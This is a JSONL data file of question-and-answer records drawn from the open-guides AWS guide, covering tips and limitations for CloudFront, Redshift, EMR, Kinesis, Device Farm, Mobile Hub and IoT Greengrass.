{"id": "gh_fd4a99baaf9b", "question": "How to: CloudFront Tips", "question_body": "About open-guides/og-aws", "answer": "-\t🐥**IPv6** is [supported](https://aws.amazon.com/about-aws/whats-new/2016/10/ipv6-support-for-cloudfront-waf-and-s3-transfer-acceleration/). This is a configurable setting, and is enabled by default on new CloudFront distributions. IPv6 support extends to the use of WAF with CloudFront.\n-\t🐥**HTTP/2** is [now supported](https://aws.amazon.com/about-aws/whats-new/2016/09/amazon-cloudfront-now-supports-http2/)! Clients [must support TLS 1.2 and SNI](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/distribution-web-values-specify.html#DownloadDistValuesSupportedHTTPVersions).\n-\tWhile the most common use is for users to browse and download content (GET or HEAD methods) requests, CloudFront also supports ([since 2013](https://aws.amazon.com/blogs/aws/amazon-cloudfront-content-uploads-post-put-other-methods/)) uploaded data (POST, PUT, DELETE, OPTIONS, and PATCH).\n\t-\tYou must enable this by specifying the [allowed HTTP methods](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/distribution-web-values-specify.html#DownloadDistValuesAllowedHTTPMethods) when you create the distribution.\n\t-\tInterestingly, the cost of accepting (uploaded) data [is usually less](https://aws.amazon.com/cloudfront/pricing/) than for sending (downloaded) data.\n-\tIn its basic version, CloudFront [supports SSL](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/SecureConnections.html) via the [SNI extension to TLS](https://en.wikipedia.org/wiki/Server_Name_Indication), which is supported by all modern web browsers. If you need to support older browsers, you need to pay a few hundred dollars a month for dedicated IPs.\n\t-\t💸⏱Consider invalidation needs carefully. CloudFront [does support invalidation](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html) of objects from edge locations, but this typically takes many minutes to propagate to edge locations, and costs $0.005 per request after the first 1000 requests. (Some other CDNs support this better.)\n-\tEveryone should use TLS nowadays if possible. [Ilya Grigorik’s table](https://istlsfastyet.com/#cdn-paas) offers a good summary of features regarding TLS performance features of CloudFront.\n-\tAn alternative to invalidation that is often easier to manage, and instant, is to configure the distribution to [cache with query strings](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/QueryStringParameters.html) and then append unique query strings with versions onto assets that are updated frequently.\n-\t⏱For good web performance, it is recommended to [enable compression](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/ServingCompressedFiles.html) on CloudFront distributions if the origin is S3 or another source that does not already compress.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978232"}
{"id": "gh_7bd60eb397de", "question": "How to: CloudFront Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸If using S3 as a backing store, remember that the endpoints for website hosting and for general S3 are different. Example: “bucketname.s3.amazonaws.com” is a standard S3 serving endpoint, but to have redirect and error page support, you need to use the website hosting endpoint listed for that bucket, e.g. “bucketname.s3-website-us-east-1.amazonaws.com” (or the appropriate region).\n-\t🔸By default, CloudFront will not forward HTTP Host: headers through to your origin servers. This can be problematic for your origin if you run multiple sites switched with host headers. You can [enable host header forwarding](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/RequestAndResponseBehaviorCustomOrigin.html#request-custom-headers-behavior) in the default cache behavior settings.\n-\t🔸4096-bit SSL certificates: CloudFront do not support 4096-bit SSL certificates as of late 2016. If you are using an externally issued SSL certificate, you’ll need to make sure it’s 2048 bits. See [ongoing discussion](https://forums.aws.amazon.com/thread.jspa?threadID=148783).\n- Although connections from clients to CloudFront edge servers can make use of IPv6, [connections to the origin server will continue to use IPv4.](https://aws.amazon.com/about-aws/whats-new/2016/10/ipv6-support-for-cloudfront-waf-and-s3-transfer-acceleration/)\n\nDirectConnect\n-------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978240"}
{"id": "gh_62519f825b26", "question": "How to: DirectConnect Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/directconnect/) ∙ [User guide](http://docs.aws.amazon.com/directconnect/latest/UserGuide/) ∙ [FAQ](https://aws.amazon.com/directconnect/faqs/) ∙ [Pricing](https://aws.amazon.com/directconnect/pricing/)\n-\t**Direct Connect** is a private, dedicated connection from your network(s) to AWS.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978245"}
{"id": "gh_70007af7011c", "question": "How to: DirectConnect Tips", "question_body": "About open-guides/og-aws", "answer": "-\tIf your data center has [a partnering relationship](https://aws.amazon.com/directconnect/partners/) with AWS, setup is streamlined.\n-\tUse for more consistent predictable network performance guarantees (**1 Gbps** or **10 Gbps** per link).\n-\tUse to peer your colocation, corporate, or physical datacenter network with your VPC(s).\n\t-\tExample: Extend corporate LDAP and/or Kerberos to EC2 instances running in a VPC.\n\t-\tExample: Make services that are hosted outside of AWS for financial, regulatory, or legacy reasons callable from within a VPC.\n\nRedshift\n--------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978251"}
{"id": "gh_189534dc9e66", "question": "How to: Redshift Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/redshift/) ∙ [Developer guide](http://docs.aws.amazon.com/redshift/latest/dg/) ∙ [FAQ](https://aws.amazon.com/redshift/faqs/) ∙ [Pricing](https://aws.amazon.com/redshift/pricing/)\n-\t**Redshift** is AWS’ managed [data warehouse](https://en.wikipedia.org/wiki/Data_warehouse) solution, which is massively parallel, scalable, and columnar. It is very widely used. It [was built](https://en.wikipedia.org/wiki/Amazon_Redshift) using [ParAccel](https://en.wikipedia.org/wiki/ParAccel) technology and exposes [Postgres](https://en.wikipedia.org/wiki/PostgreSQL)-compatible interfaces.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978257"}
{"id": "gh_ca4475c6b6d4", "question": "How to: Redshift Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-\t⛓🚪Whatever data warehouse you select, your business will likely be locked in for a long time. Also (and not coincidentally) the data warehouse market is highly fragmented. Selecting a data warehouse is a choice to be made carefully, with research and awareness of [the market landscape](https://www.datanami.com/2016/03/14/data-warehouse-market-ripe-disruption-gartner-says/) and what [business intelligence](https://en.wikipedia.org/wiki/Business_intelligence) tools you’ll be using.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978262"}
{"id": "gh_d24190365185", "question": "How to: Redshift Tips", "question_body": "About open-guides/og-aws", "answer": "-\tAlthough Redshift is mostly Postgres-compatible, its SQL dialect and performance profile are different.\n-\tRedshift supports only [12 primitive data types](https://docs.aws.amazon.com/redshift/latest/dg/c_Supported_data_types.html). ([List of unsupported Postgres types](https://docs.aws.amazon.com/redshift/latest/dg/c_unsupported-postgresql-datatypes.html)\\)\n-\tIt has a leader node and computation nodes (the leader node distributes queries to the computation ones). Note that some functions [can be executed only on the lead node.](https://docs.aws.amazon.com/redshift/latest/dg/c_SQL_functions_leader_node_only.html)\n-\t🔹Make sure to create a new [cluster parameter group](http://docs.aws.amazon.com/redshift/latest/mgmt/working-with-parameter-groups.html) and option group for your database since the default parameter group does not allow dynamic configuration changes.\n-\tMajor third-party BI tools support Redshift integration (see [Quora](https://www.quora.com/Which-BI-visualisation-solution-goes-best-with-Redshift)).\n-\t[Top 10 Performance Tuning Techniques for Amazon Redshift](https://blogs.aws.amazon.com/bigdata/post/Tx31034QG0G3ED1/Top-10-Performance-Tuning-Techniques-for-Amazon-Redshift) provides an excellent list of performance tuning techniques.\n-\t[Amazon Redshift Utils](https://github.com/awslabs/amazon-redshift-utils) contains useful utilities, scripts and views to simplify Redshift ops.\n-\t[VACUUM](http://docs.aws.amazon.com/redshift/latest/dg/t_Reclaiming_storage_space202.html) regularly following a significant number of deletes or updates to reclaim space and improve query performance.\n-\tAvoid performing blanket [VACUUM](http://docs.aws.amazon.com/redshift/latest/dg/r_VACUUM_command.html) or [ANALYZE](http://docs.aws.amazon.com/redshift/latest/dg/r_ANALYZE.html) operations at a cluster level. The checks on each table to determine whether VACUUM or ANALYZE action needs to be taken is wasteful. Only perform ANALYZE and VACUUM commands on the objects that require it. Utilize the [Analyze & Vacuum Schema Utility](https://github.com/awslabs/amazon-redshift-utils/tree/master/src/AnalyzeVacuumUtility) to perform this work. The SQL to determine whether a table needs to be VACUUMed or ANALYZEd can be found in the [Schema Utility README](https://github.com/awslabs/amazon-redshift-utils/blob/master/src/AnalyzeVacuumUtility/README.md) if you wish to create your own maintenance process.\n-\tRedshift provides various [column compression](http://docs.aws.amazon.com/redshift/latest/dg/t_Compressing_data_on_disk.html) options to optimize the stored data size. AWS strongly encourages users to use [automatic compression](http://docs.aws.amazon.com/redshift/latest/dg/c_Loading_tables_auto_compress.html) at the [COPY](https://docs.aws.amazon.com/redshift/latest/dg/r_COPY.html) stage, when Redshift uses a sample of the data being ingested to analyze the column compression options. However, automatic compression can only be applied to an empty table with no data. Therefore, make sure the initial load batch is big enough to provide Redshift with a representative sample of the data (the default sample size is 100,000 rows).\n-\tRedshift uses columnar storage, hence it does not have indexing capabilities. You can, however, use [distribution key](http://docs.aws.amazon.com/redshift/latest/dg/c_best-practices-best-dist-key.html) and [sortkey](http://docs.aws.amazon.com/redshift/latest/dg/c_best-practices-sort-key.html) to improve performance. Redshift has two types of sort keys: compounding sort key and interleaved sort key.\n-\tA compound sort key is made up of all columns listed in the sort key definition. It is most useful when you have queries with operations using the prefix of the sortkey.\n-\tAn interleaved sort key on the other hand gives equal weight to each column or a subset of columns in the sort key. So if you don't know ahead of time which column(s) you want to choose for sorting and filtering, this is a much better choice than the compound key. [Here](https://aws.amazon.com/blogs/aws/quickly-filter-data-in-amazon-redshift-using-interleaved-sorting/) is an example using interleaved sort key.\n-\t🔸⏱ **Distribution strategies:** Since data in Redshift is physically distributed among nodes, choosing the right data **distribution key** and [distribution style](http://docs.aws.amazon.com/redshift/latest/dg/c_choosing_dist_sort.html) is crucial for adequate query performance. There are three possible distribution style settings — **EVEN** (the default), **KEY**, or **ALL**. Use KEY to collocate join key columns for tables which are joined in queries. Use ALL to place the data in small-sized tables on all cluster nodes.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978280"}
{"id": "gh_d1f32e69142d", "question": "How to: Redshift Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t❗⏱While Redshift can handle heavy queries well, it does not scale horizontally, i.e. does not handle multiple queries in parallel. Therefore, if you expect a high parallel load, consider replicating or (if possible) sharding your data across multiple clusters.\n-\t🔸 The leader node, which manages communications with client programs and all communication with compute nodes, is the single point of failure.\n-\t⏱Although most Redshift queries parallelize well at the compute node level, certain stages are executed on the leader node, which can become the bottleneck.\n-\t🔹Redshift data commit transactions are very expensive and serialized at the cluster level. Therefore, consider grouping multiple mutation commands (COPY/INSERT/UPDATE) commands into a single transaction whenever possible.\n-\t🔹Redshift does not support multi-AZ deployments. Building multi-AZ clusters is not trivial. [Here](https://blogs.aws.amazon.com/bigdata/post/Tx13ZDHZANSX9UX/Building-Multi-AZ-or-Multi-Region-Amazon-Redshift-Clusters) is an example using Kinesis.\n-\t🔸Beware of storing multiple small tables in Redshift. The way Redshift tables are laid out on disk makes it impractical. The minimum space required to store a table (in MB) is nodes * slices/node * columns. For example, on a 16 node cluster an empty table with 20 columns will occupy 640MB on disk.\n-\t⏱ Query performance degrades significantly during data ingestion. [WLM (Workload Management)](http://docs.aws.amazon.com/redshift/latest/dg/c_workload_mngmt_classification.html) tweaks help to some extent. However, if you need consistent read performance, consider having replica clusters (at the extra cost) and swap them during update.\n-\t❗ Never resize a live cluster. The resize operation can take hours depending on the dataset size. In rare cases, the operation may also get stuck and you'll end up having a non-functional cluster. The safer approach is to create a new cluster from a snapshot, resize the new cluster and shut down the old one.\n-\t🔸Redshift has **reserved keywords** that are not present in Postgres (see full list [here](https://docs.aws.amazon.com/redshift/latest/dg/r_pg_keywords.html)). Watch out for DELTA ([Delta Encodings](https://docs.aws.amazon.com/redshift/latest/dg/c_Delta_encoding.html)).\n-\t🔸Redshift does not support many Postgres functions, most notably several date/time-related and aggregation functions. See the [full list here](https://docs.aws.amazon.com/redshift/latest/dg/c_unsupported-postgresql-functions.html).\n-\t🔸 Uniqueness, primary key, and foreign key constraints on Redshift tables are informational only and are not enforced. They are, however, used by the query optimizer to generate query plans. `NOT NULL` column constraints are enforced. See [here](https://docs.aws.amazon.com/redshift/latest/dg/t_Defining_constraints.html) for more information on defining constraints.\n-\t🔸Compression on sort key [can result in significant performance impact](https://aws.amazon.com/blogs/big-data/optimizing-for-star-schemas-and-interleaved-sorting-on-amazon-redshift/). So if your Redshift queries involving sort key(s) are slow, you might want to consider removing compression on a sort key.\n-\t🔹 [Choosing a sort key](http://docs.aws.amazon.com/redshift/latest/dg/t_Sorting_data.html) is very important since you can not change a table’s sort key after it is created. If you need to change the sort or distribution key of a table, you need to create a new table with the new key and move your data into it with a query like “insert into new_table select * from old_table”.\n-\t❗🚪 When moving data with a query that looks like “insert into x select from y”, you need to have twice as much disk space available as table “y” takes up on the cluster’s disks. Redshift first copies the data to disk and then to the new table. [Here](https://www.periscopedata.com/blog/changing-dist-and-sort-keys-in-redshift.html) is a good article on how to this for big tables.\n\nEMR\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978295"}
{"id": "gh_d3df10e13cec", "question": "How to: EMR Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/emr/) ∙ [Release guide](http://docs.aws.amazon.com/ElasticMapReduce/latest/ReleaseGuide/) ∙ [FAQ](https://aws.amazon.com/emr/faqs/) ∙ [Pricing](https://aws.amazon.com/emr/pricing/)\n-\t**EMR** (which used to stand for Elastic Map Reduce, but not anymore, since it now extends beyond map-reduce) is a service that offers managed deployment of [Hadoop](https://en.wikipedia.org/wiki/Apache_Hadoop), [HBase](https://en.wikipedia.org/wiki/Apache_HBase) and [Spark](https://en.wikipedia.org/wiki/Apache_Spark). It reduces the management burden of setting up and maintaining these services yourself.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978302"}
{"id": "gh_30fba2c5a056", "question": "How to: EMR Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-\t⛓Most of EMR is based on open source technology that you can in principle deploy yourself. However, the job workflows and much other tooling is AWS-specific. Migrating from EMR to your own clusters is possible but not always trivial.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978307"}
{"id": "gh_028cca745b3b", "question": "How to: EMR Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t💸❗**EMR costs** can pile up quickly since it involves lots of instances, efficiency can be poor depending on cluster configuration and choice of workload, and accidents like hung jobs are costly. See the [section on EC2 cost management](#ec2-cost-management), especially the tips there about Spot instances. [This blog post](https://aws.amazon.com/blogs/big-data/strategies-for-reducing-your-amazon-emr-costs/) has additional tips, but was written prior to the shift to per-second billing.\n-\t💸 Beware of “double-dipping”. With EMR, you pay for the EC2 capacity and the service fees. In addition, EMR syncs task logs to S3, which means you pay for the storage and **PUT requests** at [S3 standard rates](https://aws.amazon.com/s3/pricing/#Request_Pricing). While the log files tend to be relatively small, every Hadoop job, depending on the size, generates thousands of log files that can quickly add up to thousands of dollars on the AWS bill. YARN’s [log aggregation](http://hortonworks.com/blog/simplifying-user-logs-management-and-access-in-yarn/) is not available on EMR.\n\nKinesis Streams\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978315"}
{"id": "gh_eaff73415bd9", "question": "How to: Kinesis Streams Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/kinesis/streams/) ∙ [Developer guide](https://docs.aws.amazon.com/streams/latest/dev/introduction.html) ∙ [FAQ](https://aws.amazon.com/kinesis/streams/faqs/) ∙ [Pricing](https://aws.amazon.com/kinesis/streams/pricing/)\n-\t**Kinesis Streams** (which used to be only called Kinesis, before Kinesis Firehose and Kinesis Analytics were launched) is a service that allows you to ingest high-throughput data streams for immediate or delayed processing by other AWS services.\n- Kinesis Streams’ subcomponents are called [**shards**](https://docs.aws.amazon.com/streams/latest/dev/key-concepts.html). Each shard provides 1MB/s of write capacity and 2MB/s of read capacity at a maximum of 5 reads per second. A stream can have its shards programmatically increased or decreased based on a variety of metrics.\n- All records entered into a Kinesis Stream are assigned a unique sequence number as they are captured. The records in a Stream are ordered by this number, so any time-ordering is preserved.\n- [This page](http://docs.aws.amazon.com/streams/latest/dev/key-concepts.html) summarizes key terms and concepts for Kinesis Streams.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978323"}
{"id": "gh_fd1dc615d5fc", "question": "How to: Kinesis Streams Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-\t🚪 Kinesis is most closely compared to [Apache Kafka](https://kafka.apache.org/), an open-source data ingestion solution. It is possible to set up a Kafka cluster hosted on [EC2 instances](#ec2) (or any other VPS), however you are responsible for managing and maintaining both Zookeeper and the Kafka brokers in a highly available configuration. Confluent has a good blog post with their recommendations on how to do this [here](http://www.confluent.io/blog/design-and-deployment-considerations-for-deploying-apache-kafka-on-aws/), which has links on the bottom to several other blogs they have written on the subject.\n-\t⛓ Kinesis uses very AWS-specific APIs, so you should be aware of the potential future costs of migrating away from it, should you choose to use it.\n-\tAn application that efficiently uses Kinesis Streams will scale the number of shards up and down based on the required streaming capacity. (Note there is no direct equivalent to this with Apache Kafka.)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978330"}
{"id": "gh_e95961922b8a", "question": "How to: Kinesis Streams Tips", "question_body": "About open-guides/og-aws", "answer": "-\tThe [KCL](https://docs.aws.amazon.com/streams/latest/dev/developing-consumers-with-kcl.html) (Kinesis Client Library) provides a skeleton interface for Java, Node, Python, Ruby and .NET programs to easily consume data from a Kinesis Stream. In order to start consuming data from a Stream, you only need to provide a config file to point at the correct Kinesis Stream, and functions for initialising the consumer, processing the records, and shutting down the consumer within the skeletons provided.\n\t- The KCL uses a DynamoDB table to keep track of which records have been processed by the KCL. This ensures that all records are processed “at least once”. It is up to the developer to ensure that the program can handle doubly-processed records.\n\t- The KCL also uses DynamoDB to keep track of other KCL “workers”. It automatically shares the available Kinesis Shards across all the workers as equally as possible.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978337"}
{"id": "gh_e19994d6000f", "question": "How to: Kinesis Streams Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- 🔸⏱  Kinesis Streams’ shards each only permit [5 reads per second](http://docs.aws.amazon.com/streams/latest/dev/service-sizes-and-limits.html). If you are evenly distributing data across many shards, your read limit for the Stream will remain at 5 reads per second on aggregate, as each consuming application will need to check every single shard for new records. This puts a hard limit on the number of different consuming applications possible per Stream for a given maximum read latency.\n   - For example, if you have 5 consuming applications reading data from one Stream with any number of shards, they cannot read with a latency of less than one second, as each of the 5 consumers will need to poll *each shard* every second, reaching the cap of 5 reads per second per shard.\n\t- [This blog post](https://brandur.org/kinesis-in-production) further discusses the performance and limitations of Kinesis in production.\n-\t💸 **Kinesis Streams are not included in the free tier.** Make sure if you do any experimentation with it on a personal account, you shut down the stream or it may run up unexpected costs (~$11 per shard-month.)\n\nKinesis Firehose\n---\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978349"}
{"id": "gh_048d061f5a6c", "question": "How to: Kinesis Firehose Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- 🔸 📜 When delivering from Firehose to Elasticsearch, the JSON document cannot contain an “_id” property. Firehose will not attempt to deliver those documents and won't log any error.\n\nDevice Farm\n-----------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978354"}
{"id": "gh_a239163877bc", "question": "How to: Device Farm Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/device-farm/) ∙ [Developer guide](http://docs.aws.amazon.com/devicefarm/latest/developerguide/) ∙ [FAQ](https://aws.amazon.com/device-farm/faq/) ∙ [Pricing](https://aws.amazon.com/device-farm/pricing/)\n- **Device Farm** is an AWS service that enables mobile app testing on real devices.\n- Supports iOS and Android (including Kindle Fire) devices, as well as the mobile web.\n- Supports remote device access in order to allow for interactive testing/debugging.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978360"}
{"id": "gh_fd4e6651259d", "question": "How to: Device Farm Tips", "question_body": "About open-guides/og-aws", "answer": "- [AWS Mobile blog](https://aws.amazon.com/blogs/mobile/) contains several examples of Device Farm usage for testing.\n- Device Farm offers a free trial for users who want to evaluate their service.\n- Device Farm offers two pricing models: Paying **per device minute** is useful for small usage levels or for situations where it‘s hard to predict usage amount. **Unmetered plans** are useful in situations where active usage is expected from the beginning.\n- To minimize waiting time for device availability, one approach is to create several device pools with different devices, then randomly choose one of the unused device pools on every run.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978366"}
{"id": "gh_fac228c65853", "question": "How to: Device Farm Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- ❗Devices don't have a SIM card and therefore can‘t be used for testing SIM card-related features.\n- 🔸Device Farm supports testing for most popular languages/frameworks, but not for all. An actual list of supported frameworks and languages is presented on [this page](http://docs.aws.amazon.com/devicefarm/latest/developerguide/test-types-overview.html).\n- 🔸The API and CLI for Device Farm is quite a low level and may require developing additional tools or scripts on top of it.\n- 🔸AWS provide several tools and plugins for Device Farm, however, it doesn‘t cover all cases or platforms. It may require developing specific tools or plugins to support specific requirements.\n- ❗In general, Device Farm doesn‘t have Android devices from Chinese companies like Huawei, Meizu, Lenovo, etc. An actual list of supported devices located [here](https://aws.amazon.com/device-farm/device-list/).\n- 🔸Device availability is uneven. It depends on several factors including device popularity. Usually, more modern devices see higher demand, thus the waiting time for them will be higher compared to relatively old devices.\n\nMobile Hub\n----------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978381"}
{"id": "gh_c791d0303284", "question": "How to: Mobile Hub Basics", "question_body": "About open-guides/og-aws", "answer": "* 📒 [Homepage](https://aws.amazon.com/mobile/) ∙ [User guide](https://docs.aws.amazon.com/aws-mobile/latest/developerguide/what-is-aws-mobile.html) ∙ [FAQ](https://aws.amazon.com/mobile/faqs/) ∙ [Pricing](https://aws.amazon.com/mobile/pricing/)\n- **Mobile Hub** orchestrates multiple services to create an AWS backend for mobile and web applications.\n- Each _project_ in Mobile Hub has one _backend_ made up of configurable features, plus one or more _applications_.\n - Features include Analytics, Cloud Logic, Conversational Bots, Hosting and Streaming, NoSQL Database, User Data Storage and User Sign-In. Each feature uses one or two services to deliver a chunk of functionality.\n - Services used include [API Gateway](#api-gateway), [CloudFront](#cloudfront), Cognito, [Device Farm](#device-farm), [DynamoDB](#dynamodb), [Lambda](#lambda), Lex, Pinpoint and [S3](#S3).\n - Application SDKs exist for Android (Java), iOS (Swift), Web (JS) and React Native (JS). There is also a CLI for JavaScript applications.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978389"}
{"id": "gh_b2aab9d265d2", "question": "How to: Mobile Hub Tips", "question_body": "About open-guides/og-aws", "answer": "- The Mobile Hub [console](https://console.aws.amazon.com/mobilehub/home#/) has starter kits and tutorials for various app platforms.\n- The CLI allows local development of Lambda code (JS by default) with `awsmobile {pull|push}` commands, to sync from cloud to folder, and back again.\n- Mobile Hub itself is free, but each of the services has its own pricing model.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978394"}
{"id": "gh_9da208eb0764", "question": "How to: Mobile Hub Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- 🔸The Cloud API feature allows importing an existing Lambda function instead of defining a new one, but there are some rough edges with the CLI. Check the GitHub [issues](https://github.com/aws/awsmobile-cli/issues).\n- ❗Mobile Hub uses CloudFormation under the covers, and gets confused when a service is changed outside of the Mobile Hub console.\n\nIoT\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978402"}
{"id": "gh_7bdf1d1bfe0a", "question": "How to: IoT Greengrass", "question_body": "About open-guides/og-aws", "answer": "* 📒 [Homepage](https://aws.amazon.com/greengrass/)\n* 🐥**Greengrass** is a software platform that extends AWS IoT capabilities allowing Lambda functions to be run directly on local devices.  It also enables IoT devices to be able to securely communicate on a local network without having to connect to the cloud.\n    * Greengrass includes a local pub/sub message manager that can buffer messages if connectivity is lost so that inbound and outbound messages to the cloud are preserved. Locally deployed Lambda functions can be triggered by local events, messages from the cloud, or other sources.\n    * Greengrass includes secure authentication and authorization of devices within the local network and also between the local network and the AWS cloud. It also provides secure, over-the-air software updates of Lambda functions.\n*  Greengrass core software includes a message manager object, Lambda runtime, local copy service for IoT Thing (or device) shadows, and a deployment agent to manage Greengrass group configuration.\n* **Greengrass groups** are containers for selected IoT devices settings, subscriptions and associated Lambda functions.  In a Greengrass group a device is either a Greengrass core or an IoT device which will be connected that particular Greengrass core.\n* The Greengrass core SDK enables Lambda functions to interact with the AWS Greengrass core on which they run in order to publish messages, interact with the local Thing Shadows service, or invoke other deployed Lambda functions.\n* The AWS Greengrass Core SDK only supports sending MQTT messages with QoS = 0.\n* Shown below is a [diagram](http://docs.aws.amazon.com/greengrass/latest/developerguide/what-is-gg.html) which shows the architecture of AWS IoT Greengrass services:\n\n![IoT Greengrass](http://docs.aws.amazon.com/greengrass/latest/developerguide/images/greengrass.png)\n\n[Back to top 